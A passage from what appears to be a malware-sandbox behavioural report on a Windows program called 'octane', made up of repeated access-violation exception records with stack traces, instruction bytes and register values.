user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632612 registers.edi: 1632700 registers.eax: 23117 registers.ebp: 1632672 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632736 registers.edi: 1632832 registers.eax: 23117 registers.ebp: 1632796 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008264192	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632628 registers.edi: 1632716 registers.eax: 23117 registers.ebp: 1632688 registers.edx: 0 registers.ebx: 0 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632480 registers.edi: 1632576 registers.eax: 23117 registers.ebp: 1632540 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008160768	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632612 registers.edi: 1632700 registers.eax: 23117 registers.ebp: 1632672 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632736 registers.edi: 1632832 registers.eax: 23117 registers.ebp: 1632796 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008264192	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632628 registers.edi: 1632716 registers.eax: 23117 registers.ebp: 1632688 registers.edx: 0 registers.ebx: 0 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632480 registers.edi: 1632576 registers.eax: 23117 registers.ebp: 1632540 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008160768	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632612 registers.edi: 1632700 registers.eax: 23117 registers.ebp: 1632672 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632736 registers.edi: 1632832 registers.eax: 23117 registers.ebp: 1632796 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008264192	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632628 registers.edi: 1632716 registers.eax: 23117 registers.ebp: 1632688 registers.edx: 0 registers.ebx: 0 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632480 registers.edi: 1632576 registers.eax: 23117 registers.ebp: 1632540 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008160768	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632612 registers.edi: 1632700 registers.eax: 23117 registers.ebp: 1632672 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632736 registers.edi: 1632832 registers.eax: 23117 registers.ebp: 1632796 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008264192	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632628 registers.edi: 1632716 registers.eax: 23117 registers.ebp: 1632688 registers.edx: 